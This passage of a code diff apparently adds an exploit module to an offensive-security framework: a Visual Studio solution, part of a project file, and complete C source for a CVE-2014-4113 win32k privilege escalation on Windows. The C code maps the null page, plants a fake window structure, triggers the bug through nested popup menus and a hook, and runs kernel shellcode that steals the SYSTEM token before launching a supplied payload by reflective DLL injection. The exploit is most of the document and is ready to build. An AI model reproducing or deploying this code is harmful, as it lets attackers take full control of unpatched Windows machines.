+*~
+*.dbmdl
+*.[Pp]ublish.xml
+*.pfx
+*.publishsettings
+
+# RIA/Silverlight projects
+Generated_Code/
+
+# Backup & report files from converting an old project file to a newer
+# Visual Studio version. Backup files are not needed, because we have git ;-)
+_UpgradeReport_Files/
+Backup*/
+UpgradeLog*.XML
+UpgradeLog*.htm
+
+# SQL Server files
+App_Data/*.mdf
+App_Data/*.ldf
+
+# =========================
+# Windows detritus
+# =========================
+
+# Windows image file caches
+Thumbs.db
+ehthumbs.db
+
+# Folder config file
+Desktop.ini
+
+# Recycle Bin used on file shares
+$RECYCLE.BIN/
+
+# Mac crap
+.DS_Store

external/source/exploits/cve-2014-4113/cve-2014-4113.sln

@@ -0,0 +1,28 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio 2013
+VisualStudioVersion = 12.0.21005.1
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2014-4113", "cve-2014-4113\cve-2014-4113.vcxproj", "{E80F11CD-6698-492F-B4B0-1A2348A24BB0}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Win32 = Debug|Win32
+		Debug|x64 = Debug|x64
+		Release|Win32 = Release|Win32
+		Release|x64 = Release|x64
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Debug|Win32.ActiveCfg = Debug|Win32
+		{E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Debug|Win32.Build.0 = Debug|Win32
+		{E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Debug|x64.ActiveCfg = Debug|x64
+		{E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Debug|x64.Build.0 = Debug|x64
+		{E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Release|Win32.ActiveCfg = Release|Win32
+		{E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Release|Win32.Build.0 = Release|Win32
+		{E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Release|x64.ActiveCfg = Release|x64
+		{E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Release|x64.Build.0 = Release|x64
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.c

@@ -0,0 +1,499 @@
+#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
+#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
+#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
+
+// Uncomment this line to enable to debug output
+//#define DEBUGGING
+
+// Purloined from ntstatus.h
+#define STATUS_SUCCESS                          ((NTSTATUS)0x00000000L) // ntsubauth
+
+#define WIN32_NO_STATUS
+#include <windows.h>
+#undef WIN32_NO_STATUS
+
+#ifdef DEBUGGING
+// only needed because of the output printf stuff when debugging
+#include <stdio.h>
+#endif
+
+#ifndef _NTDEF_
+typedef __success(return >= 0) LONG NTSTATUS;
+typedef NTSTATUS *PNTSTATUS;
+#endif
+
+#define PTR_SIZE sizeof(UINT_PTR)
+
+typedef NTSTATUS(NTAPI *lNtAllocateVirtualMemory)(
+	IN  HANDLE  ProcessHandle,
+	IN  PVOID   *BaseAddress,
+	IN  PULONG  ZeroBits,
+	IN  PSIZE_T RegionSize,
+	IN  ULONG   AllocationType,
+	IN  ULONG   Protect
+);
+
+typedef NTSTATUS(NTAPI *lPsLookupProcessByProcessId)(
+	IN   HANDLE ProcessId,
+	OUT  PVOID Process
+);
+
+typedef PACCESS_TOKEN(NTAPI *lPsReferencePrimaryToken)(
+	_Inout_  PVOID Process
+);
+
+typedef NTSTATUS(NTAPI *lZwQuerySystemInformation)(
+	_In_       DWORD SystemInformationClass,
+	_Inout_    PVOID SystemInformation,
+	_In_       ULONG SystemInformationLength,
+	_Out_opt_  PULONG ReturnLength
+);
+
+typedef struct _SYSTEM_MODULE
+{
+	HANDLE               Reserved1;
+	PVOID                Reserved2;
+	PVOID                ImageBaseAddress;
+	ULONG                ImageSize;
+	ULONG                Flags;
+	USHORT               Id;
+	USHORT               Rank;
+	USHORT               w018;
+	USHORT               NameOffset;
+	BYTE                 Name[256];
+} SYSTEM_MODULE, *PSYSTEM_MODULE;
+
+typedef struct _SYSTEM_MODULE_INFORMATION
+{
+	ULONG                ModulesCount;
+	SYSTEM_MODULE        Modules[0];
+} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
+
+BOOL bWndProcFlag = FALSE;
+BOOL bHookCallbackFlag = FALSE;
+
+WNDPROC lpPrevWndFunc;
+DWORD dwMyProcessId = 0;
+
+lPsLookupProcessByProcessId pPsLookupProcessByProcessId = NULL;
+lPsReferencePrimaryToken pPsReferencePrimaryToken = NULL;
+lNtAllocateVirtualMemory pNtAllocateVirtualMemory = NULL;
+
+#ifdef DEBUGGING
+void dprintf(char* pszFormat, ...)
+{
+	char s_acBuf[2048];
+	va_list args;
+	va_start(args, pszFormat);
+	vsprintf_s(s_acBuf, sizeof(s_acBuf) - 1, pszFormat, args);
+	OutputDebugString(s_acBuf);
+	va_end(args);
+}
+#else
+#define dprintf(...)
+#endif
+
+long CALLBACK hook_callback_two(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
+{
+	EndMenu();
+	return -5;
+}
+
+LRESULT CALLBACK hook_callback(int code, WPARAM wParam, LPARAM lParam)
+{
+	if (*(DWORD *)(lParam + PTR_SIZE * 2) == 0x1EB && !bHookCallbackFlag)
+	{
+		bHookCallbackFlag = TRUE;
+		if (UnhookWindowsHook(WH_CALLWNDPROC, hook_callback))
+		{
+			lpPrevWndFunc = (WNDPROC)SetWindowLongPtrA(*(HWND *)(lParam + PTR_SIZE * 3), GWLP_WNDPROC, (ULONG_PTR)hook_callback_two);
+		}
+	}
+	return CallNextHookEx(0, code, wParam, lParam);
+}
+
+LRESULT CALLBACK wnd_proc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
+{
+	if (msg == 289 && !bWndProcFlag)
+	{
+		bWndProcFlag = TRUE;
+		PostMessageA(hwnd, 256, 40, 0);
+		PostMessageA(hwnd, 256, 39, 0);
+		PostMessageA(hwnd, 513, 0, 0);
+	}
+	return DefWindowProc(hwnd, msg, wParam, lParam);
+}
+
+DWORD_PTR __stdcall get_threadinfo_ptr(void)
+{
+#ifdef _M_X64
+	PBYTE pTeb = (PBYTE)__readgsqword(0x30);
+	return (DWORD_PTR)*((PDWORD_PTR)(pTeb + 0x78));
+#else
+	PBYTE pTeb = (PBYTE)__readfsdword(0x18);
+	return (DWORD_PTR)*((PDWORD_PTR)(pTeb + 0x40));
+#endif
+}
+
+
+// Search the specified data structure for a member with CurrentValue.
+BOOL find_and_replace_member(PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue, DWORD_PTR dwNewValue, DWORD_PTR dwMaxSize)
+{
+	DWORD_PTR dwIndex, dwMask;
+
+	// Microsoft QWORD aligns object pointers, then uses the lower three
+	// bits for quick reference counting.
+#ifdef _M_X64
+	dwMask = ~0xf;
+#else
+	dwMask = ~7;
+#endif
+	// dwMask out the reference count.
+	dwCurrentValue &= dwMask;
+
+	// Scan the structure for any occurrence of dwCurrentValue.
+	for (dwIndex = 0; dwIndex < dwMaxSize; dwIndex++)
+	{
+		if ((pdwStructure[dwIndex] & dwMask) == dwCurrentValue)
+		{
+			// And finally, replace it with NewValue.
+			pdwStructure[dwIndex] = dwNewValue;
+			return TRUE;
+		}
+	}
+
+	// Member not found.
+	return FALSE;
+}
+
+int _stdcall shellcode_ring0(int one, int two, int three, int four)
+{
+	void *pMyProcessInfo = NULL;
+	void *pSystemInfo = NULL;
+	PACCESS_TOKEN systemToken;
+	PACCESS_TOKEN targetToken;
+
+	pPsLookupProcessByProcessId((HANDLE)dwMyProcessId, &pMyProcessInfo);
+	pPsLookupProcessByProcessId((HANDLE)4, &pSystemInfo);
+
+	targetToken = pPsReferencePrimaryToken(pMyProcessInfo);
+	systemToken = pPsReferencePrimaryToken(pSystemInfo);
+
+	// Find the token in the target process, and replace with the system token.
+	find_and_replace_member((PDWORD_PTR)pMyProcessInfo,
+		(DWORD_PTR)targetToken,
+		(DWORD_PTR)systemToken,
+		0x200);
+	return 0;
+}
+
+DWORD WINAPI execute_payload(LPVOID lpPayload)
+{
+	VOID(*lpCode)() = (VOID(*)())lpPayload;
+	lpCode();
+	return ERROR_SUCCESS;
+}
+
+void win32k_null_page(LPVOID lpPayload)
+{
+	WNDCLASSA wndClass;
+	char szNtName[256];
+	PVOID pNtBase;
+	OSVERSIONINFOA versionInfo;
+
+	// Getting Windows version
+	dprintf("[*] Getting Windows version...");
+	memset(&versionInfo, 0, sizeof(OSVERSIONINFOA));
+	versionInfo.dwOSVersionInfoSize = 148;
+
+	if (!GetVersionExA(&versionInfo))
+	{
+		dprintf("[!] Failed to get windows version");
+		return;
+	}
+
+	// Solve symbols
+	dprintf("[*] Solving symbols...");
+
+	HMODULE hNtdll = LoadLibraryA("ntdll");
+	if (hNtdll == NULL)
+	{
+		dprintf("[!] Failed to Load ntdll...");
+		return;
+	}
+
+	lZwQuerySystemInformation pZwQuerySystemInformation = (lZwQuerySystemInformation)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
+	if (pZwQuerySystemInformation == NULL)
+	{
+		dprintf("[!] Failed to solve ZwQuerySystemInformation");
+		return;
+	}
+
+	pNtAllocateVirtualMemory = (lNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
+	if (pNtAllocateVirtualMemory == NULL)
+	{
+		dprintf("[!] Failed to solve NtAllocateVirtualMemory");
+		return;
+	}
+
+	dprintf("[*] Requesting Kernel loaded modules...");
+
+	ULONG ulSystemInfoBufferSize = 0;
+	pZwQuerySystemInformation(11, &ulSystemInfoBufferSize, 0, &ulSystemInfoBufferSize);
+	if (ulSystemInfoBufferSize == 0)
+	{
+		dprintf("[!] Requesting pZwQuerySystemInformation required length failed");
+		return;
+	}
+
+	dprintf("[*] pZwQuerySystemInformation required length %d", ulSystemInfoBufferSize);
+
+	PULONG pSystemInfoBuffer = (PULONG)LocalAlloc(LMEM_ZEROINIT, ulSystemInfoBufferSize);
+	if (pSystemInfoBuffer == NULL)
+	{
+		dprintf("[!] Allocation for SystemInfo failed");
+		return;
+	}
+
+	if (pZwQuerySystemInformation(11, pSystemInfoBuffer, ulSystemInfoBufferSize, &ulSystemInfoBufferSize) != STATUS_SUCCESS)
+	{
+		dprintf("[!] Requesting kernel modules through ZwQuerySystemInformation failed");
+		return;
+	}
+
+	dprintf("[*] Parsing SYSTEM_INFO...");
+
+	SYSTEM_MODULE_INFORMATION *smi = (SYSTEM_MODULE_INFORMATION *)pSystemInfoBuffer;
+
+	dprintf("[*] %d Kernel modules found", smi->ModulesCount);
+
+	memset(szNtName, 0, 256);
+
+	ULONG i = 0;
+	while (i < smi->ModulesCount)
+	{
+		SYSTEM_MODULE *sm = (SYSTEM_MODULE *)(smi->Modules + i);
+		dprintf("[*] Checking module %s", sm->Name);
+		if (strstr((char *)sm->Name, ".exe"))
+		{
+			char *start = strstr((char *)sm->Name, "nt");
+			if (start != NULL)
+			{
+				pNtBase = sm->ImageBaseAddress;
+				strncpy_s(szNtName, 256, start, _TRUNCATE);
+				break;
+			}
+		}
+		i++;
+	}
+
+	if (szNtName == NULL)
+	{
+		dprintf("[!] nt not found");
+		return;
+	}
+	dprintf("[*] Good! nt found as %s at 0x%08x", szNtName, pNtBase);
+
+	HMODULE hNtKrnl = LoadLibraryA(szNtName);
+
+	dprintf("[*] %s loaded in userspace at: %08x", szNtName, hNtKrnl);
+
+	pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)GetProcAddress(hNtKrnl, "PsLookupProcessByProcessId");
+
+	if (pPsLookupProcessByProcessId == NULL)
+	{
+		dprintf("[!] Failed to solve PsLookupProcessByProcessId");
+		return;
+	}
+
+	pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)((DWORD_PTR)pNtBase + ((DWORD_PTR)pPsLookupProcessByProcessId - (DWORD_PTR)hNtKrnl));
+	dprintf("[*] pPsLookupProcessByProcessId in kernel: 0x%p", pPsLookupProcessByProcessId);
+
+
+	pPsReferencePrimaryToken = (lPsReferencePrimaryToken)GetProcAddress(hNtKrnl, "PsReferencePrimaryToken");
+
+	if (pPsReferencePrimaryToken == NULL)
+	{
+		dprintf("[!] Failed to solve PsLookupProcessByProcessId");
+		return;
+	}
+
+	pPsReferencePrimaryToken = (lPsReferencePrimaryToken)((DWORD_PTR)pNtBase + ((DWORD_PTR)pPsReferencePrimaryToken - (DWORD_PTR)hNtKrnl));
+	dprintf("[*] pPsReferencePrimaryToken in kernel: 0x%p", pPsReferencePrimaryToken);
+
+	dwMyProcessId = GetCurrentProcessId();
+
+	// Register Class
+	dprintf("[*] Registering class...");
+
+	memset(&wndClass, 0, sizeof(WNDCLASSA));
+	wndClass.lpfnWndProc = wnd_proc; // Called with CallWindowProc => http://msdn.microsoft.com/en-us/library/windows/desktop/ms633571(v=vs.85).aspx
+	wndClass.lpszClassName = "woqunimalegebi";
+
+	if (!RegisterClassA(&wndClass))
+	{
+		dprintf("[!] RegisterClassA failed ");
+		return;
+	}
+
+	// Create Window
+	dprintf("[*] Creating window...");
+	HWND hWnd = CreateWindowExA(0, "woqunimalegebi", NULL, 0, -1, -1, 0, 0, NULL, NULL, NULL, NULL);
+
+	if (hWnd == NULL)
+	{
+		dprintf("[!] CreateWindowExA failed");
+		return;
+	}
+
+	// Making everything ready for exploitation...
+
+	dprintf("[*] Allocating null page...");
+#ifdef _M_X64
+	ULONGLONG dwBaseAddress = 0x00000000fffffffb;
+#else
+	DWORD dwBaseAddress = 1;
+#endif
+
+	SIZE_T sRegionSize = 0x1000;
+	ULONG ulAllocationType = MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN;
+
+	if (pNtAllocateVirtualMemory(GetCurrentProcess(), (LPVOID*)&dwBaseAddress, 0, &sRegionSize, ulAllocationType, PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS)
+	{
+		dprintf("[!] Failed to allocate null page");
+		return;
+	}
+
+	dprintf("[*] Getting PtiCurrent...");
+
+	DWORD_PTR dwThreadInfoPtr = get_threadinfo_ptr();
+
+	if (dwThreadInfoPtr == 0)
+	{
+		LoadLibrary("user32.dll");
+		LoadLibrary("gdi32.dll");
+		dwThreadInfoPtr = get_threadinfo_ptr();
+	}
+
+	if (dwThreadInfoPtr == 0)
+	{
+		dprintf("[!] Filed to get current thread information");
+		return;
+	}
+
+	dprintf("[*] Good! dwThreadInfoPtr 0x%p", dwThreadInfoPtr);
+	dprintf("[*] Creating a fake structure at NULL...");
+
+	LPVOID lpPtr = NULL;
+#ifdef _M_X64
+	(DWORD_PTR)lpPtr = 0x10000000B;
+	*((PDWORD_PTR)lpPtr) = dwThreadInfoPtr;
+
+	/* win32k!tagWND->bServerSideWindowProc = TRUE */
+	(DWORD_PTR)lpPtr = 0x100000025;
+	*((PBYTE)lpPtr) = 4;
+
+	/* win32k!tagWND->lpfnWndProc = &shellcode_ring0 */
+	(DWORD_PTR)lpPtr = 0x10000008B;
+	*((PDWORD_PTR)lpPtr) = (DWORD_PTR)shellcode_ring0;
+#else
+	LPBYTE lpPromisedLand = NULL;
+	lpPtr = lpPromisedLand + 3;
+	/* We need to save this check, otherwise unmapped memory will be dereferenced (blue screen)
+	.text:BF8B93F4 02C mov     edi, _gptiCurrent
+	.text:BF8B93FA 02C cmp     edi, [esi + 8];
+	.text:BF8B93FD 02C jz      loc_BF8B
+	*/
+	*(LPDWORD)lpPtr = dwThreadInfoPtr;
+
+	*((LPBYTE)(lpPromisedLand + 0x11)) = 0x4;
+
+	lpPtr = lpPromisedLand + 0x5b;
+	*(LPDWORD)lpPtr = (DWORD)shellcode_ring0;
+#endif
+
+	// Exploit!
+
+	dprintf("[*] Triggering vulnerability...");
+	HMENU hMenuOne = CreatePopupMenu();
+	if (hMenuOne == NULL)
+	{
+		dprintf("[!] First CreatePopupMenu failed");
+		return;
+	}
+
+	MENUITEMINFOA menuOneInfo;
+	memset(&menuOneInfo, 0, sizeof(MENUITEMINFOA));
+	menuOneInfo.cbSize = sizeof(MENUITEMINFOA);
+	menuOneInfo.fMask = MIIM_STRING;
+
+	if (InsertMenuItemA(hMenuOne, 0, TRUE, &menuOneInfo) != TRUE)
+	{
+		dprintf("[!] First InsertMenuItemA failed");
+		DestroyMenu(hMenuOne);
+		return;
+	}
+
+	HMENU hMenuTwo = CreatePopupMenu();
+	if (hMenuTwo == NULL)
+	{
+		dprintf("[!] Second CreatePopupMenu failed");
+		DestroyMenu(hMenuOne);
+		return;
+	}
+
+	MENUITEMINFOA menuTwoInfo;
+	memset(&menuTwoInfo, 0, sizeof(MENUITEMINFOA));
+	menuTwoInfo.cbSize = sizeof(MENUITEMINFOA);
+	menuTwoInfo.fMask = (MIIM_STRING | MIIM_SUBMENU);
+	menuTwoInfo.dwTypeData = "";
+	menuTwoInfo.cch = 1;
+	menuTwoInfo.hSubMenu = hMenuOne;
+
+	if (InsertMenuItemA(hMenuTwo, 0, TRUE, &menuTwoInfo) != TRUE)
+	{
+		dprintf("[!] Second InsertMenuItemA failed");
+		DestroyMenu(hMenuTwo);
+		DestroyMenu(hMenuOne);
+		return;
+	}
+
+	if (SetWindowsHookExA(WH_CALLWNDPROC, hook_callback, NULL, GetCurrentThreadId()) == NULL)
+	{
+		dprintf("[!] SetWindowsHookExA failed :-(");
+		DestroyMenu(hMenuTwo);
+		DestroyMenu(hMenuOne);
+		return;
+	}
+
+	// 'crash' it!
+	TrackPopupMenu(hMenuTwo, 0, -10000, -10000, 0, hWnd, NULL);
+
+	// If everything worked process should be privileges at this point
+	dprintf("[!] Executing payload...");
+	CreateThread(0, 0, execute_payload, lpPayload, 0, NULL);
+}
+
+BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
+{
+	BOOL bReturnValue = TRUE;
+	switch (dwReason)
+	{
+	case DLL_QUERY_HMODULE:
+		hAppInstance = hinstDLL;
+		if (lpReserved != NULL)
+		{
+			*(HMODULE *)lpReserved = hAppInstance;
+		}
+		break;
+	case DLL_PROCESS_ATTACH:
+		hAppInstance = hinstDLL;
+		win32k_null_page(lpReserved);
+		break;
+	case DLL_PROCESS_DETACH:
+	case DLL_THREAD_ATTACH:
+	case DLL_THREAD_DETACH:
+		break;
+	}
+	return bReturnValue;
+}

external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.vcxproj

@@ -0,0 +1,242 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup Label="ProjectConfigurations">
+    <ProjectConfiguration Include="Debug|Win32">
+      <Configuration>Debug</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Debug|x64">
+      <Configuration>Debug</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|Win32">
+      <Configuration>Release</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|x64">
+      <Configuration>Release</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
+  </ItemGroup>
+  <PropertyGroup Label="Globals">
+    <ProjectGuid>{E80F11CD-6698-492F-B4B0-1A2348A24BB0}</ProjectGuid>
+    <RootNamespace>cve-2014-4113</RootNamespace>
+    <Keyword>Win32Proj</Keyword>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
+    <ConfigurationType>DynamicLibrary</ConfigurationType>
+    <CharacterSet>MultiByte</CharacterSet>
+    <WholeProgramOptimization>false</WholeProgramOptimization>
+    <PlatformToolset>v120_xp</PlatformToolset>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
+    <ConfigurationType>DynamicLibrary</ConfigurationType>
+    <CharacterSet>MultiByte</CharacterSet>
+    <WholeProgramOptimization>false</WholeProgramOptimization>
+    <PlatformToolset>v120_xp</PlatformToolset>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
+    <ConfigurationType>DynamicLibrary</ConfigurationType>
+    <CharacterSet>MultiByte</CharacterSet>
+    <PlatformToolset>v120_xp</PlatformToolset>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
+    <ConfigurationType>DynamicLibrary</ConfigurationType>
+    <CharacterSet>MultiByte</CharacterSet>
+    <PlatformToolset>v120_xp</PlatformToolset>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
+  <ImportGroup Label="ExtensionSettings">
+    <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <PropertyGroup Label="UserMacros" />
+  <PropertyGroup>
+    <_ProjectFileVersion>10.0.30319.1</_ProjectFileVersion>
+    <OutDir>$(Configuration)\$(Platform)\</OutDir>
+    <IntDir>$(Configuration)\$(Platform)\</IntDir>
+    <LinkIncremental>false</LinkIncremental>
+    <GenerateManifest>false</GenerateManifest>
+    <CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
+    <CodeAnalysisRules />
+    <CodeAnalysisRuleAssemblies />
+    <TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
+  </PropertyGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <ClCompile>
+      <Optimization>Disabled</Optimization>
+      <AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
+      <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE_2014_4113_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <MinimalRebuild>true</MinimalRebuild>
+      <BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
+      <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
+      <PrecompiledHeader>
+      </PrecompiledHeader>
+      <WarningLevel>Level3</WarningLevel>
+      <TreatWarningAsError>true</TreatWarningAsError>
+    </ClCompile>
+    <Link>
+      <AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
+      <AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
+      <DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+      <SubSystem>Windows</SubSystem>
+      <TargetMachine>MachineX86</TargetMachine>
+      <ModuleDefinitionFile>
+      </ModuleDefinitionFile>
+      <AdditionalOptions>/ignore:4070</AdditionalOptions>
+    </Link>
+    <PostBuildEvent>
+      <Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL
+exit 0</Command>
+    </PostBuildEvent>
+    <ResourceCompile>
+      <PreprocessorDefinitions>_DEBUG;_USING_V110_SDK71_;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+    </ResourceCompile>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+    <ClCompile>
+      <Optimization>Disabled</Optimization>
+      <AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
+      <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE_2014_4113_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
+      <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
+      <PrecompiledHeader>
+      </PrecompiledHeader>
+      <WarningLevel>Level3</WarningLevel>
+      <TreatWarningAsError>true</TreatWarningAsError>
+    </ClCompile>
+    <Link>
+      <AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
+      <AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
+      <DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+      <SubSystem>Windows</SubSystem>
+      <ModuleDefinitionFile>
+      </ModuleDefinitionFile>
+      <AdditionalOptions>/ignore:4070</AdditionalOptions>
+    </Link>
+    <PostBuildEvent>
+      <Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL
+exit 0</Command>
+    </PostBuildEvent>
+    <ResourceCompile>
+      <PreprocessorDefinitions>_DEBUG;_USING_V110_SDK71_;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+    </ResourceCompile>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <ClCompile>
+      <Optimization>MinSpace</Optimization>
+      <InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
+      <IntrinsicFunctions>false</IntrinsicFunctions>
+      <AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
+      <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE_2014_4113_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <StringPooling>true</StringPooling>
+      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
+      <FunctionLevelLinking>false</FunctionLevelLinking>
+      <PrecompiledHeader>
+      </PrecompiledHeader>
+      <AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
+      <ObjectFileName>$(OutDir)\</ObjectFileName>
+      <ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
+      <WarningLevel>Level3</WarningLevel>
+      <DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
+      <BufferSecurityCheck>false</BufferSecurityCheck>
+      <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
+      <TreatWarningAsError>true</TreatWarningAsError>
+    </ClCompile>
+    <Link>
+      <AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
+      <AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
+      <IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
+      <IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
+      <DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
+      <GenerateDebugInformation>false</GenerateDebugInformation>
+      <GenerateMapFile>true</GenerateMapFile>
+      <MapFileName>$(OutDir)\cve-2014-4113.map</MapFileName>
+      <SubSystem>Windows</SubSystem>
+      <OptimizeReferences>
+      </OptimizeReferences>
+      <EnableCOMDATFolding>
+      </EnableCOMDATFolding>
+      <RandomizedBaseAddress>false</RandomizedBaseAddress>
+      <DataExecutionPrevention>
+      </DataExecutionPrevention>
+      <ImportLibrary>$(OutDir)\cve-2014-4113.lib</ImportLibrary>
+      <TargetMachine>MachineX86</TargetMachine>
+      <Profile>false</Profile>
+      <ModuleDefinitionFile>
+      </ModuleDefinitionFile>
+      <AdditionalOptions>/ignore:4070</AdditionalOptions>
+    </Link>
+    <PostBuildEvent>
+      <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL
+IF EXIST "..\..\..\..\..\data\exploits\CVE-2014-4113\" GOTO COPY
+    mkdir "..\..\..\..\..\data\exploits\CVE-2014-4113\"
+:COPY
+copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\CVE-2014-4113\"</Command>
+    </PostBuildEvent>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <ClCompile>
+      <Optimization>MinSpace</Optimization>
+      <InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
+      <IntrinsicFunctions>false</IntrinsicFunctions>
+      <AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
+      <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE_2014_4113_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <StringPooling>true</StringPooling>
+      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
+      <FunctionLevelLinking>false</FunctionLevelLinking>
+      <PrecompiledHeader>
+      </PrecompiledHeader>
+      <AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
+      <ObjectFileName>$(OutDir)\</ObjectFileName>
+      <ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
+      <WarningLevel>Level3</WarningLevel>
